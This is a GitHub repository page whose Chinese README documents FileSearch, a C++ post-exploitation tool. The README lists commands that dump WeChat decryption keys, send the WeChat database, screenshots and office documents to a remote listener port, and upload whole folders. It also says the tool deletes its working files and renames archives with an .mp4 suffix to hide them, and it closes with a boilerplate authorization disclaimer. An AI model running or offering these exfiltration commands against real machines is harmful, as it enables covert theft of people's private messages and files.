Skip to content

C++枚举磁盘列表、遍历指定盘搜索特定类型文件/微信导出密钥,文件回传等功能

Notifications You must be signed in to change notification settings

c1y2m3/FileSearch

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

26 Commits
 
 
 
 
 
 

Repository files navigation

Server

Server.exe port # 默认8888端口

Command

[+] FileSearch.exe dumpkey # 获取微信密钥
[+] FileSearch.exe send 127.0.0.1 8888 # 从默认路径回传微信数据库
[+] FileSearch.exe send 127.0.0.1 8888 vxpath # 指定微信数据库路径
[+] FileSearch.exe photo 127.0.0.1 8888 # 桌面截屏回传
[+] FileSearch.exe search d:\ .docx # 查找指定类型文件
[+] FileSearch.exe upload path 127.0.0.1 8888 # 上传文件
[+] FileSearch.exe uploads path 127.0.0.1 8888 # 上传文件夹
[+] FileSearch.exe all 127.0.0.1 8888  # 全盘获取指定类型文件
[+] FileSearch.exe user 127.0.0.1 8888 # c:\users目录下查找类型文件

更新说明

1、all参数排除了c盘符查找指定类型文件,避免大量缓存文件造成卡顿,添加user参数在c:\users目录下查找

可自行修改需要上传的文件类型(747行),默认为:

const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };

2、运行成功后会自动删除生成出来的文件夹以及压缩包,压缩包文件随机修改成了mp4后缀

3、优化了查找文件匹配方式,支持模糊匹配或精确匹配

4、新增uploads参数遍历指定文件夹压缩上传功能

5、新增photo参数桌面截屏回传功能

功能展示:

img

img

img

已知问题:

大文件(G级)传输回来后压缩包损坏无法正常打开,经过多次测试发现是c++ zip库压缩的问题,

暂时使用以下两种办法解决:

1、上传Rar.exe压缩后再使用upload_file方法进行回传

rar.exe a -k -r -s -m1 bak.rar "path"

2、使用WinRAR内置修复功能或者使用DiskInternals ZIP进行修复损坏文件

后续还会更新~

如果发现缺陷请提交 issue,非常感谢!

本人失业多年,已不参与大小HW活动的攻击方了,若溯源到id与本人无关

免责声明

本工具仅能在取得足够合法授权的企业安全建设中使用,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。

About

C++枚举磁盘列表、遍历指定盘搜索特定类型文件/微信导出密钥,文件回传等功能

Resources

Stars

Watchers

Forks

Packages

No packages published